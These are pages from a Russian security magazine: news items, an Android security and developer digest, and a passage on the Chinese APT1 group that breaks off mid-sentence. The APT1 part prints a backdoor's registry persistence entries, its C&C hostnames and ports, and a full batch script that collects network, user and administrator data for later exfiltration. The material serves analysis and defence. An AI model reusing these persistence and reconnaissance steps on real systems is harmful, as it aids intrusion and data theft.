тента, но, как видите, это уже ничего не гаран тиру ет».

И хотя пра вооб ладате ли называ ют подоб ные ресур сы рас садни ками пиратс‐ 
тва,  на  деле  мно гие  из  них  дав но  заб рошены  и  поч ти  забыты.  Более  того,
зачас тую  у  нос таль гиру ющих  поль зовате лей  поп росту  нет  дру гих  легаль ных
аль тер натив,  так  как  ори гиналь ные железо  и  кар трид жи  дос тать  порой  поп‐ 
росту невоз можно и оста ются лишь эму лято ры и пират ские сай ты.

«Мы  получа ли  тысячи  писем  от  людей,  которые  рас ска зыва ли,
как счас тли вы они были сно ва открыть для себя игры сво его детс тва
и  поделить ся  ими  с  новыми  поколе ниями  сво их  семей.  Нам  писали
сол даты из  горячих  точек и рас ска зыва ли,  что рет роиг ры, в  которые
они  игра ли  в  детс тве,  —  это  единс твен ное,  что  помог ло  им  прой ти
через  эти  слож ные  дни.  Нам  писали  люди,  чьи  братья  скон чались
от  рака,  и  они  наш ли  уте шение  в  играх,  в  которые  игра ли  вмес те
в  детс тве.  У  нас  было  бес счет ное  чис ло  таких  исто рий»,  —  пишет
MasJ.

MasJ  с  сожале нием  приз нает,  что  он  не  готов  и  далее  под держи вать  рас‐ 
простра нение ROM’ов  и  рис ковать  будущим  сво ей  коман ды  и  посети телей.
Тем не менее сооб щает ся, что EmuParadise не зак рыва ется: сайт про дол жит
работу  и  по‐преж нему будет  пос вящен рет роиг рам. В  какой имен но фор ме
это будет реали зова но, пока неяс но.

Увы, про исхо дящее пред ска зыва ли уже дав но. Так, еще в 2016 году осно‐ 
ватель Video Game History Foundation Фрэнк Сифал ди (Frank Cifaldi) выс тупал
на Game Developers Conference, и еще тог да он пре дуп реждал:

«Мы демони зиру ем эму ляцию и обес ценива ем собс твен ное нас ледие.
Мы низ водим до пиратс тва огромную часть нашего прош лого».

ЗА   ЕВРО В GOOGLE PLAY ПРО ДАВА ЛИ ЛОГОТИП
ETHEREUM
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Сот рудник ком пании ESET Лукас Сте фан ко (Lukas Stefanko) обна ружил в Google Play при ложе‐ 
ние Ethereum, которое яко бы поз воляло поль зовате лям при обрести 1 Ether, если те покупа ли
само при ложе ние, чья цена сос тавля ла   евро (нуж но заметить, что эфир сей час сто ит
поч ти на 100 евро дешев ле).
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На  самом  деле  под  видом  крип товалю ты  мошен ники  про дава ли  при ложе ние  с  бес полез ной
кар тинкой  (логоти пом  Ethereum)  и  без  какой‐либо  полез ной  фун кци ональ нос ти.  К  тому  же
от лица ком пании Google Commerce Ltd.

На момент обна руже ния у при ложе ния нас читыва лось более   заг рузок, то есть его купили
как минимум   человек.

100
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ДРУГИЕ ИНТЕРЕСНЫЕ
СОБЫТИЯ МЕСЯЦА
• В дар кне те начали про давать мал варь для крип товалют ных бан коматов
• Ком пания Crowdfense запус кает собс твен ную плат форму для покуп ки уяз‐ 
вимос тей

• Се ти орга низа ций могут быть ском про мети рова ны через... фак сы
• Три новые уяз вимос ти клас са Spectre выяв лены в про цес сорах Intel
• Мил лионам при ложе ний для Android угро жает проб лема Man‐in‐the‐Disk
• Об наруже на  новая  раз новид ность  Mirai,  исполь зующая  Aboriginal  Linux
и опас ная для Android и Debian

• Уяз вимос ти в кар диос тимуля торах и инсу лино вых пом пах MedTronic могут
угро жать жиз ням их вла дель цев

• У  бит койн‐инвесто ра  «угна ли»  SIM‐кар ту  и  похити ли  23  мил лиона  дол‐ 
ларов

• Раз работ чики Telegram не собира ются сот рудни чать с рос сий ски ми спец‐ 
служ бами

• Не кото рым учас тни кам хакер ской кон ферен ции DEF CON приш лось иметь
дело с полици ей

https://play.google.com/store/apps/details?id=skimmerscammer.skimmerscammer
https://xakep.ru/badusb/
https://twitter.com/_MG_/status/947719280975495169
https://twitter.com/_MG_/status/951987153264771072
https://www.youtube.com/watch?v=6mDspyi5ROw
https://twitter.com/AbeSnowman/status/1027377982497861632
https://xakep.ru/2018/08/08/bitcoin-atm/
https://xakep.ru/2018/08/10/vulnerability-research-platform/
https://xakep.ru/2018/08/14/faxploit/
https://xakep.ru/2018/08/15/foreshadow/
https://xakep.ru/2018/08/16/man-in-the-disk/
https://xakep.ru/2018/08/24/new-sora/
https://xakep.ru/2018/08/14/future-is-now-arent-you-happy/
https://xakep.ru/2018/08/16/sim-swap-lawsuit/
https://xakep.ru/2018/08/28/telegram-privacy-policy/
https://xakep.ru/2018/08/13/hackers-in-lv/
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В этом выпус ке: Google сле дит за тобой, новый век тор атак
на мобиль ные устрой ства, реверс зашиф рован ных вирусов,
ана лиз исходно го кода Android на уяз вимос ти и 47 уяз вимос‐ 
тей  в  Android‐устрой ствах.  А  так же:  луч шие  онлайн‐инс тру‐ 
мен ты  раз работ чика  Android,  скры тые  воз можнос ти  Kotlin
и све жие биб лиоте ки для прог раммис тов.

ИНСТРУМЕНТЫ

  —  DBI‐фрей мворк,  подоб ный  Frida,  но  исполь зующий  нам ного
более  инте рес ный  метод  модифи кации  при ложе ния:  под мену  ском‐ 
пилиро ван ного  на  устрой стве  OAT‐фай ла  при ложе ния  на  дру гой;  более
под робно опи сан в  ;

• ARTist

до кумен те, опуб ликован ном на сай те Black Hat
 — оче ред ная обер тка вок руг Frida для нович ков;• House

 — джей лбрейк для Apple watch S3 watchOS 4.1;• jelbrekTime
 — обфуска тор исходно го кода на язы ке Swift.• Sirius Obfuscator

ПОЧИТАТЬ

Google сле дит за тобой
  —  док лад  иссле дова телей  из  уни вер ситета  Ван‐ 

дербиль та, пос вящен ный сер висам ком пании Google, а точ нее тому, как ком‐ 
пания  исполь зует  эти  сер висы  для  сбо ра  информа ции  о  поль зовате лях.
Общий вывод таков, что от Google не скрыть ся при всех ста рани ях, а кон крет‐ 
ные дан ные сле дующие:

Google  Data  Collection

смар тфон Android в спя щем режиме с акти виро ван ным бра узе ром Google
Chrome  переда ет  информа цию  о  мес тополо жении  340  раз  в  сут ки.
В целом смар тфон с уста нов ленным Chrome отправ ляет дан ные в 50 раз
чаще, чем iOS с Safari;

•

не активное Android‐устрой ство вза имо дей ству ет с Google поч ти в десять
раз чаще, чем устрой ство Apple вза имо дей ству ет с сер верами Apple;

•

ис поль зуя  рек ламные  сети,  Google  может  свя зать  ано ним ные  дан ные
с  лич ной  информа цией  поль зовате ля;  нап ример,  если  искать  информа‐ 
цию  через Google,  исполь зуя  бра узер  Firefox, Google может  опре делить,
что тот, кто ищет, — вла делец такого‐то телефо на;

•

боль шую  часть  дан ных  Google  собира ет  в  то  вре мя,  ког да  поль зователь
не вза имо дей ству ет нап рямую с каким‐либо из про дук тов Google.

•

Ко личес тво дан ных, отправ ленных Android и iOS в сут ки

«Новый» век тор атак: Man-in-the-Disk
  —  так  называ емый

новый век тор атак на при ложе ния для Android от ком пании Check Point. Суть
в том, что в Android внеш ний накопи тель, а имен но кар та памяти (даже если
она внут ренняя), исполь зует фай ловую сис тему без раз деления прав дос тупа,
а зна чит, если одно из при ложе ний сох ранит что‐то на кар ту памяти, любое
дру гое при ложе ние смо жет это что‐то про читать и/или изме нить.

Man‐in‐the‐Disk:  A  New  Attack  Surface  for  Android  Apps

Ата ка как раз и зак люча ется в том, что зло умыш ленник соз дает при ложе‐ 
ние,  которое  затира ет  или  под меня ет  чужие фай лы.  Нап ример,  мож но  выз‐ 
вать  сбой  в Google  Translate,  Yandex  Translate, Google  Voice  Typing  и Google
Text‐to‐Speech.  Но,  что  более  инте рес но,  в  некото рых  слу чаях  мож но  под‐ 
менить  уста нов ленное  при ложе ние  зат роянен ным  вари антом.  Нап ример,
если при ложе ние сох раня ет файл сво его обновле ния на  кар ту  памяти,  дос‐ 
таточ но под менить его, и  в  качес тве обновле ния будет  уста нов лено сов сем
не то, что нуж но. Так, нап ример, мож но сде лать с Xiaomi Browser.

Сто ит  отме тить,  что  это  вов се  не  новый  век тор  атак.  Об  этой  проб леме
извес тно  с  пер вых  вер сий  Android,  поэто му  Google  всег да  при зыва ла  раз‐ 
работ чиков рас смат ривать кар ту памяти как склад бес полез ного хла ма и не
хра нить на ней ничего важ ного. Да, ее собс твен ный Google Translate пада ет
при  уда лении  кеша,  но  что  важ нее — раз гру зить  внут реннюю  память  смар‐ 
тфо на  или  защитить ся  от  каких‐то  непонят ных  людей,  которые  захотят  уро‐ 
нить твой Google Translate?

47 уяз вимос тей в устрой ствах Android

 — иссле дова ние ком пании Kryptowire, пос вящен ное поис ку уяз вимос тей
в  Android‐устрой ствах  раз личных  про изво дите лей:  Alcatel,  ASUS,  LG,  ZTE,
Sony, Nokia, Orbic, Oppo, MXQ и дру гих.

DEF CON 2018: Vulnerable Out of the Box — An Evaluation of Android Carrier De‐
vices

Итог: в общей слож ности най дено 47 уяз вимос тей, вклю чая крах про шив‐ 
ки, очис тку всех дан ных поль зовате ля, скры тое соз дание скрин шотов и скрин‐ 
кастов, получе ние root, незамет ную уста нов ку при ложе ний, скры тую отправ ку
SMS и дос туп к адресной кни ге.

Сто ит отме тить, что все эти уяз вимос ти отсутс тву ют в чис том Android (том,
что уста нов лен на Google Pixel или Essential, нап ример) и выяв лены в модифи‐ 
циро ван ных про изво дите лем час тях про шив ки и драй верах.

Как ревер сят вирусы
 — инте рес ная пре зен тация девуш ки из коман‐ 

ды  Android  Security  Team  и  по  сов мести тель ству  раз работ чика  IDAPython
о том, как отре вер сить при ложе ние, запако ван ное зашиф рован ным пакером.

Unpacking the Packed Unpacker

Глав ный инте рес здесь, конеч но же, не в уни каль нос ти матери ала, а в его
подаче.  Нес мотря  на  то  что  это  не  статья  и  не  вай тпей пер,  а  все го  лишь
набор слай дов, он лег ко чита ется и пол ностью вво дит в курс дела: зачем нуж‐ 
ны натив ные биб лиоте ки, как они исполь зуют ся в при ложе нии, что такое фор‐ 
мат  JNI,  как опре делить,  что биб лиоте ка  зашиф рована  (отсутс твие  JNI‐фун‐ 
кций и пов торя ющий ся луп в начале), как сде лать дешиф ратор (самый прос‐ 
той  вари ант:  перепи сать  ассем блер ный  код  на  Python  и  исполь зовать
IDAPython,  что бы  дешиф ровать  код),  как  вирусы  про веря ют,  что  находят ся
в эму лиру емой сре де, и как эту про вер ку обой ти.

Нап ример, про вер ка на запуск при ложе ния под управле нием Xposed дела‐ 
ется так:
1. По иск   и   в фай ле 

 (этот файл показы вает все отоб ражен ные в текущий про цесс фай лы,
в том чис ле биб лиоте ки).

LIBXPOSED_ART.SO XPOSEDBRIDGE.JAR /proc/self/

maps

2. По иск любого из двух методов 
,    с  помощью  JNI‐

метода FindClass().

de/robv/android/xposed/XC_Method­

Hook de/robv/android/xposed/XposedBridge

Как вирусы выпол няют про вер ку на про цес сор

Ана лиз исходно го кода Android

  —  статья  раз работ чиков  ста тичес кого  ана лиза тора  PVS‐Studio  о  про‐ 
вер ке  исходных  тек стов  Android  на  наличие  оши бок.  Резуль тат  дос таточ но
ожи даем для такого объ ема кода.

Про вери ли с помощью PVS‐Studio исходные коды Android, или Ник то не иде‐ 
ален

• Бес смыс ленные срав нения:

pr2.mStretchMode == pr2.mStretchMode
ns != 1 || ns !=1

• Ра зыме нова ние нулево го ука зате ля:

if (xmlProxyLib == nullptr) {
    ALOGE("effectProxy must contain a <%s>: %s",
        tag, dump(*xmlProxyLib));
    return false;
}

• При ват ные дан ные не затира ются в памяти. Это уже более слож ная ошиб‐ 
ка,  ког да  прог раммист  все  дела ет  пра виль но,  затирая  память  нулями
в кон це работы с важ ными дан ными, но не учи тыва ет того фак та, что ком‐ 
пилятор,  ско рее  все го,  уда лит  опе рацию  запол нения  памяти  нулями,
как бес смыс ленную. Нап ример, в этом слу чае ком пилятор, веро ятнее все‐ 
го, уда лит обра щение к фун кции memset:

static void FwdLockGlue_InitializeRoundKeys() {
    unsigned char keyEncryptionKey[KEY_SIZE];
    ...
    memset(keyEncryptionKey, 0, KEY_SIZE); // Zero out key data.
}

• Не  учи тыва ется  порядок  вычис ления  аргу мен тов.  Еще  один  при мер  нез‐ 
нания  работы  ком пилято ра,  который  может  счи тать  аргу мен ты  фун кции
в  про изволь ном  поряд ке.  В  сле дующем  при мере  фун кции  readSigned
будут выз ваны в неоп ределен ной пос ледова тель нос ти:

mHal.setLayerCursorPosition(...., readSigned(), readSigned());

А так же:
иг нориро вание резуль татов исполне ния фун кции;•
код, который никог да не выпол няет ся;•
за бытый break внут ри switch;•
воз врат уже не сущес тву ющих дан ных;•
вы ход за гра ницу мас сива;•
пов торное прис ваива ние перемен ной и дру гое.•

Ав тор  иссле дова ния  утвер жда ет,  что  PVS‐Studio  выявил  более  чем  одну
потен циаль ную  уяз вимость  на  4000  строк  кода. Одна ко  сто ит  иметь  в  виду,
что речь имен но о  , в чис ло которых вхо дят, нап‐ 
ример,  всег да  истинные  или  всег да  лож ные  усло вия.  Дру гими  сло вами,
это прос то мес та, на которые прог раммис там сто ит обра тить вни мание.

по тен циаль ных уяз вимос тях

РАЗРАБОТЧИКУ

Он лайн‑инс тру мен ты раз работ чика Android
 — спи сок онлайн‐инс тру‐ 

мен тов, которые при годят ся любому Android‐раз работ чику.
Awesome List Of Online Tools For Android Developers

Ди зайн:
Три инс тру мен та:  ,  ,  .• Figma InvisionApp Zeplin

Раз работ ка:
 — соз дает Android‐про ект на базе выб ранной архи тек туры

в три кли ка;
• AndroidStarters

 — генера тор цве товой палит ры на базе Material Design;• MaterialPalette
 — инс тру мент для быс трой генера ции ико нок;• Android Asset Studio
  —  рас ширение  Chrome  для  быс тро го  поис ка

по докумен тации Android SDK;
• Android  SDK  search

  —  вво дишь  наз вание  биб лиоте ки,  получа ешь  строч ку
для встав ки в build.gradle;

• Gradle,  please

 — спи сок самых полез ных фун кций‐рас ширений Kotlin;• Kotlin extensions
 — фей ковый  бэкенд,  спо соб ный  генери ровать  любые  зап росы

и отве ты JSON.
• JsonStub

Тес тирова ние и внед рение:
 — инс тру мент для под сче та количес тва методов в при‐ 

ложе нии, что бы убе дить ся, что не пересе каешь лимит в 65K методов;
• APK method count

 — инс тру мент для запус ка при ложе ний в бра узе ре;• Appetize
  —  генера тор  скрин шотов  с  рам кой  смар‐ 

тфо на для Play Store;
• Appstore  screenshot  generator

 — похожий инс тру мент с более инте рес ными вари анта ми
офор мле ния.

• App Launch Pad

Про дук тивность:
 — спи сок луч ших инс тру мен тов и биб лиотек с катало гиза‐ 

тором и поис ком;
• Android arsenal

 — еще один подоб ный каталог;• Mindorks App Store
 — рас ширение Chrome для быс трой навига ции по GitHub;• Octotree

 — мощ ный инс тру мент для работы с регуляр ными выраже ниями.• RegExr

App Launch Pad

Бо лее дру желюб ный к язы ку Kotlin Android SDK
 — анонс нового Android SDK, содер‐ 

жащего так называ емые Nullable‐анно тации для язы ка Kotlin. Такие анно тации
поз воля ют ком пилято ру (и сре де раз работ ки) Kotlin узнать, могут ли воз вра‐ 
щаемые объ екты быть null. Важ ные момен ты:

Android Pie SDK is now more Kotlin‐friendly

1. Ан нотации каса ются не всех, а толь ко наибо лее исполь зуемых API.
2. В целях сов мести мос ти ком пилятор будет выдавать толь ко пре дуп режде‐ 
ния, а не ошиб ки.

3. Да же если твой про ект на Java,  ты все рав но получишь выгоду от новов‐ 
ведения: Android Studio будет пре дуп реждать тебя, нап ример, о переда че
фун кции парамет ра Null, если аргу мент помечен как не nullable.

Как вклю чить:
1. Ус танови SDK Android API 28 с помощью Tools → SDK Manager.
2. Ука жи в build.gradle:  .compileSdkVersion 28

3. Об нови  Kotlin  до  вер сии  1.2.60:  Tools →  Kotlin →  Configure  Kotlin  Plugin
Updates.

Как пра виль но отве чать на отзы вы в Play Store / App Store

 — дос таточ но оче вид ная, но, воз можно, полез ная
под борка советов, как пра виль но отве чать на отзы вы о при ложе нии.

How  to Reply  to  iOS  and Google Play Reviews  Like  a Pro — 13 Power  Tips  You
Should Always Keep In Mind

1. От вечай те как мож но быс трее.
2. Убе дитесь, что вы пра виль но поняли то, что ска зал поль зователь.
3. По кажи те свою заботу о поль зовате ле.
4. От вечай те в сти ле сво его брен да: серь езным тоном, если это биз нес‐при‐ 
ложе ние, или шут ливо в слу чае игры.

5. Не исполь зуйте шаб лонные отве ты.
6. Не рас текай тесь мыслью по дре ву.
7. Не  исполь зуйте  сло ва  с  отри цатель ным  оттенком:  не  могу,  невоз можно,
никог да.

8. Не делай те оши бок.
9. Будь те чес тны, объ ясняй те при чины и говори те о сро ках.
10. Не изви няй тесь без необ ходимос ти.
11. Пре дос тавь те воз можность свя зать ся с вами нап рямую.
12. По дави те свой гнев.
13. Го вори те спа сибо.

Fun  fact:  77%  поль зовате лей  чита ют  хотя  бы  один  отзыв  перед  уста нов кой
при ложе ний, а 13% — как минимум семь.

Скры тые брил лиан ты стан дар тной биб лиоте ки Kotlin
 — статья о неоче вид ных и неиз вес тных мно гим

воз можнос тях стан дар тной биб лиоте ки Kotlin.
Hidden Gems  In Kotlin StdLib

1. Класс String в Kotlin гораз до раз витее сво его ана лога в Java и поз воля ет
делать такое:

val blank = "   ".isBlank() // Also: CharSequence?.isNullOrBlank
val first = "Adam.McNeilly".substringBefore('.') // "Adam"
val last = "Adam.McNeilly".substringAfter('.') // "McNeilly"
val withSpaces = "1".padStart(2) // "1"
val endSpaces = "1".padEnd(3, '0') // "100"
val dropStart = "Adam".drop(2) // "am"
val dropEnd = "Adam".dropLast(2) // "Ad"
"A\nB\nC".lines() // [A, B, C]
"One.Two.Three".substringAfterLast('.') // "Three"
"One.Two.Three".substringBeforeLast('.') // "One.Two"
"ABCD".zipWithNext() // [(A, B), (B, C), (C, D)]
val nullableString: String? = null
nullableString.orEmpty() // Возвращает ""

2. Кол лекции в Kotlin тоже име ют мно жес тво удоб ных методов:

myList.sort()
myList.max()
myList.min()
myList.shuffle()
myList.reverse()
myList.swap(1, 2)
myList.filter { }
myList.filterNot { }
myList.filterIsInstance()
myList.filterNotNull { }
myList.first { } // Также: indexOfFirst { }
myList.firstOrNull { }
myList.last { } // Также: indexOfLast { }
myList.lastOrNull { }
myList.single { }
myList.singleOrNull { }
myList.any { }
myList.none { }
myList.all { }
myList.partition { } // Pair<List<T>, List<T>>

3. Дес трук ция. Это уже встро енная воз можность Kotlin, о которой автор все
рав но  решил  упо мянуть,  так  как  пос читал  важ ной.  Дес трук ция  поз воля ет
заменить такой код:

val coordinates = arrayOf(5, 10, 15)
val x = coordinates[0]
val y = coordinates[1]
val z = coordinates[2]

на такой:

val coordinates = arrayOf(5, 10, 15)
val (x, y, z) = coordinates

Но  что  гораз до  более  важ но,  дес трук ция  работа ет  так же  в  отно шении
data‐клас сов. И это поз воля ет тебе вер нуть из фун кции два зна чения раз‐ 
ных типов:

data class Result(val result: Int, val status: Status)
fun function(...): Result {
    return Result(result, status)
}
val (result, status) = function(...)

Дес трук ции мож но под вер гнуть так же map:

val actionsMap: Map<String, Action> = hashMapOf(...)
for ((key, action) in actionsMap) {
    // ...
}

Инс тру мен ты
 — инс тру мент для быс трой генера ции гра диен тных

Drawable, с воз можностью пос леду юще го сох ранения в XML‐файл;
• GradientDrawableTuner

  —  кноп ка  для  меню  быс трых  нас тро ек,  поз воля‐ 
ющая  быс тро  перек лючать  язык  устрой ства  (при годит ся  для  оцен ки
перево дов);

• Language‐Switcher‐Tile

 — инс тру мент авто мати зиро ван ного тес тирова ния интерфей са при‐ 
ложе ния.

• Detox

Биб лиоте ки
 — прос той музыкаль ный пле ер, пос тро енный на API SoundCloud;• Listn

  —  кален дарь  в  сти ле  Material  Design  с  бес конеч ным
скрол лингом, выбором пери одов и мно гими дру гими фун кци ями;

• CrunchyCalendar

 — эффект скла дыва юще гося лис та бумаги;• folding‐cell‐android
 — муль тип латфор менная биб лиоте ка для сох ранения

зна чений key:value, исполь зует SharedPreferences на Android и NSUserDe‐
faults на iOS;

• multiplatform‐settings

  —  биб лиоте ка  для  соз дания  Drawable  нуж ных  форм
и  оттенков  на  лету,  без  необ ходимос ти  исполь зования  фай лов
drawable.xml;

• DrawableToolbox

 — добав ляет эффект мер цания к эле мен там интерфей са;• twinkle
 — прок ручива емый в сто рону кален дарь;• HorizontalCalendarView‐Android

  —  фрей мворк  для  соз дания  ком плексных  при ложе ний  с  раз ными
архи тек турами (MVC ready, MVP, MVVM, MVI);

• Flair

  —  биб лиоте ка,  поз воля ющая  рас простра нять  перево ды  при‐ 
ложе ния отдель но от самого при ложе ния;

• Philology

 — биб лиоте ка для выпол нения слож ных манипу ляций над тек стом.• DroidArt
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Сле ды боль шинс тва тар гетиро ван ных атак в пос ледние годы
при водят в ази атский реги он, где ярким пят ном выделя ются
шан хай ские  сер веры.  В  ходе  рас сле дова ний  ана лити ки
отме чают  такие мар керы,  как  китай ские  IP‐адре са,  вре мен‐ 
ные  штам пы,  язы ковые  нас трой ки  и  софт,  спе цифич ные
для  Китая.  Кто  же  устра ивает  кибера таки  из‐за  «Велико го
китай ско го фай рво ла»?

Рас сле дова ние  мас штаб ных  целенап равлен ных  атак  порой  занима ет  годы,
поэто му  под робнос ти  их  про веде ния  ста новят ся  извес тны  далеко  не  сра зу.
Обыч но  к  момен ту  их  пуб ликации  все  исполь зован ные  уяз вимос ти  зак рыты
пат чами, вре донос ные ком понен ты добав лены в анти вирус ные базы, а C&C‐
сер веры заб локиро ваны. Одна ко в таких отче тах инте рес ны методы, которые
с неболь шими изме нени ями про дол жают исполь зовать в новых ата ках.

APT1 (AKA COMMENT CREW)
Эта хакер ская груп па получи ла иден тифика тор за номером один и во мно гом
спо собс тво вала популя риза ции тер мина Advanced Persistent Threat. Она уста‐ 
нови ла  сво еоб разный  рекорд  по  количес тву  дан ных,  укра ден ных  у  одной
орга низа ции:  за  десять  месяцев  APT1  выкача ла  6,5  Тбайт  докумен тов
со взло ман ных сер веров.

Есть  мно го  сви детель ств  тому,  что  APT1  соз дана  Минобо роны  КНР
на  базе  под разде ления  61398  Народ но‐осво боди тель ной  армии  Китая
(НОАК).  По  мне нию  спе циалис тов  FireEye,  она  дей ству ет  с  2006  года
как отдель ная струк тура Треть его управле ния Ген шта ба НОАК. За это вре мя
APT1  выпол нила  как  минимум  141  тар гетиро ван ную  ата ку.  Наз вать  точ ное
чис ло  слож но,  пос коль ку  часть  инци ден тов  в  сфе ре  информа цион ной
безопас ности  замал чива ется,  а  для  извес тных  атак  не  всег да  уда ется
доказать их при над лежность кон крет ной груп пе.

Ак тивность APT1 по реги онам, изоб ражение: fireeye.com

В соот ветс твии  с  док три ной  полити чес кого  руководс тва  стра ны  «побеж дать
в  информа цион ных  вой нах»  APT1  была  рефор мирова на  и  уси лена
в 2016 году.

На чало стро итель ства новой базы APT1 в 2013 году, фото:
DigitalGlobe

Сей час она нас читыва ет в сво ем шта те нес коль ко тысяч людей. В основном
сос тоит из выпус кни ков   и 

 с хорошим зна нием англий ско го.
Чжэц зян ско го уни вер ситета Хар бин ско го политех‐ 

ничес кого уни вер ситета
Ге огра фичес ки штаб‐квар тира APT1 рас полага ется в Пудуне (новый рай он

Шан хая),  где  она  вла деет  боль шим  ком плек сом  зда ний.  Вхо ды  в  них  охра‐ 
няют ся,  а  на  всем  перимет ре  дей ству ет  кон троль но‐про пус кной  режим,
как на воен ной базе.

КПП на базе APT1, фото: city8.com

Что бы  уско рить  активную  фазу  ата ки  и  замес ти  сле ды,  APT1  исполь зовала
«аэрод ромы под ско ка» — заражен ные компь юте ры, управля емые через RDP,
и  FTP‐сер веры,  на  которых  раз мещалась  боевая  наг рузка.  Все  они  геог‐ 
рафичес ки рас полага лись в том же реги оне, где находи лись цели.

За  двух летний  пери од  наб людений  спе циалис ты  FireEye  обна ружи‐ 
ли 1905 слу чаев исполь зования таких про межу точ ных узлов с 832 раз ных IP‐
адре сов,  при чем  817  из  них  вели  в  шан хай ские  сети  China  Unicom  и  China
Telecom,  а  регис тра цион ные  записи  Whois  пря мо  ука зыва ли  на  Пудун,  где,
кро ме штаб‐квар тиры APT1, нет орга низа ций срав нимого мас шта ба.

Уп равля ли  эти ми  про межу точ ными  узла ми  обыч но  при  помощи  прок си
  (HUC  Packet  Transmit  Tool)  с  937  раз ных  сер веров,  кон тро лиру емых

APT1.
HTRAN

В сво их ата ках APT1 исполь зовала 42 бэк дора из раз ных семей ств. Часть
из них была написа на дав но, рас простра нялась в дар кне те или модифи циро‐ 
валась  на  заказ  (Poison  Ivy,  Gh0st  RAT  и  дру гие),  но  сре ди  это го  набора
выделя ется    и  его  более  поз дние  модифи кации.  Похоже,
это собс твен ная раз работ ка APT1.

Backdoor.Wualess

Как и в дру гих тар гетиро ван ных ата ках, в сце нари ях APT1 боевая наг рузка
дос тавля лась  на  компь юте ры  жертв  метода ми  соци аль ного  инжи нирин га  (в
час тнос ти,  spear  phishing).  Основная  фун кци ональ ность  бэк дора  Wualess
содер жалась  в  биб лиоте ке  ,  которую  тро ян‐дроп пер
из заражен ного пись ма помещал на целевых компь юте рах под управле нием
Windows в сис темный каталог ( ).

wuauclt.dll

%SYSTEMROOT%\wuauclt.dll
За тем  бэк дор  выпол нял  про вер ку  на  пред шес тву ющее  зараже ние  и  при

необ ходимос ти про писы вал себя в реес тре как сер вис:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv "Start"
= "2"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv\Parame
ters "ServiceDll" = "%SystemRoot%\wuauclt.dll"

Да лее бэк дор соеди нял ся с одним из управля ющих сер веров через IRC:
NameLess.3322.org, TCP‐порт 5202;•
sb.hugesoft.org, TCP‐порт 443.•

Пос ледний  порт  по  умол чанию  исполь зует ся  бра узе рами  для  соеди нения
по HTTPS, поэто му обыч но он не бло киру ется фай рво лами.

По лучив коман ду, бэк дор выпол нял одно из сле дующих дей ствий:
про верял ско рость под клю чения;•
со бирал и отправ лял дан ные о сис теме и поль зовате лях;•
де лал скрин шот и отсы лал его;•
очи щал DNS‐кеш и под менял записи в нем;•
ска чивал и запус кал на выпол нение оче ред ной злов ред;•
за вер шал ука зан ные про цес сы в памяти;•
ис кал  и  отправ лял  фай лы,  соот ветс тву ющие  ука зан ным  кри тери ям  (в
основном докумен ты офис ных фор матов и архи вы);

•

об новлял свою вер сию;•
сох ранял свою копию в точ ке вос ста нов ления (System Volume Information).•

Пос ледняя осо бен ность зат рудня ла пол ное уда ление бэк дора, пос коль ку ОС
обыч но бло киро вала дос туп к катало гу  .\System Volume Information\

Бо лее поз дние модифи кации (нап ример, Wualess.D) исполь зовали слу чай‐ 
ные име на фай лов, боль шой набор номеров пор тов для соеди нения с C&C‐
сер верами и запус кались как скры тая копия про цес са  .iexplore.exe

Дру гой харак терной чер той APT1 ста ло исполь зование WEBC2‐бэк доров.
Они  обла дают  минималь ным  набором  фун кций  (в  основном  исполь зуют ся
для сбо ра све дений) и соеди няют ся с управля ющи ми сер верами по типу бра‐ 
узе ра. Бэк дор получа ет от сер вера веб‐стра ницу, в тегах которой содер жатся
управля ющие коман ды. Такой тра фик выг лядит как сетевая активность поль‐ 
зовате ля  и  обыч но  не  вызыва ет  подоз рений  у  поведен ческих  ана лиза торов
защит ных сис тем.

Сре ди  про чих  тех ник  обфуска ции  тра фика,  исполь зуемых  APT1,  выделя‐ 
ются  спо собы  соеди нения  с  C&C‐сер верами  у  бэк доров  MaCroMaIL  (ими‐ 
тиру ет работу MSN Messenger), GLooxMaIL  (ими тиру ет  кли ент Jabber/XMPP)
и CaLenDar (его обмен дан ными похож на син хро низа цию гуг лов ско го кален‐ 
даря).

Для  сбо ра  све дений  о  заражен ных  компь юте рах  APT1  исполь зовала
встро енные средс тва Windows, которые вызыва лись через бат ник (.bat), соз‐ 
дава емый бэк дором по коман де. Напом ню, что знак   ука зыва ет на перенап‐ 
равле ние вывода в файл вмес то отоб ражения на экра не, а рас ширение фай‐ 
ла с логом не име ет зна чения, так как внут ри это фор мат plain‐text в кодиров‐ 
ке ASCII/DOS.

>

@echo off // Отключение вывода команд
ipconfig /all > %TEMP%\ipconfig.log // Сохраняет полные сведения о 
настройке протокола IP, список всех сетевых адаптеров и их 
MAC‐адресов
netstat ‐ano > %TEMP%\netstat.log // Отображает все сетевые 
подключения и открытые порты, указывает идентификатор каждого 
процесса и сетевые адреса в числовом формате
net start > %TEMP%\services.log // Перечисляет все запущенные службы 
Windows
tasklist /v > %TEMP%\tasks.lst // Генерирует список всех запущенных 
процессов и потребляемых ими вычислительных ресурсов
net user > %TEMP%\users.lst // Сохраняет список учетных записей 
Windows из локальной БД
net localgroup administrators > %TEMP%\admins.lst // Выводит 
перечень учетных записей, входящих в локальную группу 
«Администраторы»
net use > %TEMP%\shares.net // Отображает список подключений к общим 
сетевым ресурсам
net view > %TEMP%\hosts.dmn // Показывает список хостов в текущем 
домене или сети

Так же при помощи соот ветс тву ющих команд вида   сох раня‐ 
ется перечень адми нис тра торов домена, кон трол леров домена, сер веров MS
Exchange и дру гая информа ция о кор поратив ной сети.

net group <cmd>

Имен но бла года ря его при митив ности дан ный спо соб сбо ра информа ции
работал  безот казно.  Встро енные  средс тва  диаг ности ки  есть  на  любом
компь юте ре  с  любой  вер сией  Windows.  Перемен ная    избавля ет
от необ ходимос ти искать пап ку для сох ранения логов. В каталог для вре мен‐ 
ных фай лов может писать любой поль зователь (и запущен ный с его пра вами
бэк дор).  На  фай лы  тек сто вого  фор мата  (тем  более  —  логи  стан дар тно го
вида)  не  руга ется  ни  один  анти вирус,  да  и  для  поль зовате ля  они  выг лядят
совер шенно  безобид но  —  при мер но  как  сбор  телемет рии  от  Microsoft
или рутин ные про вер ки адми на.

%TEMP%

Единс твен ное отли чие зак лючалось в том, что соб ранные логи затем упа‐ 
ковы вались  в  архив  .rar  и  отправ лялись  на  сер веры APT1  для  выбора  даль‐ 
нейших  целей.  Что бы  усложнить  ана лиз  утеч ки  дан ных,  содер жащий  логи
архив .rar соз давал ся с клю чом   (ука зыва ет на необ ходимость шиф ровать
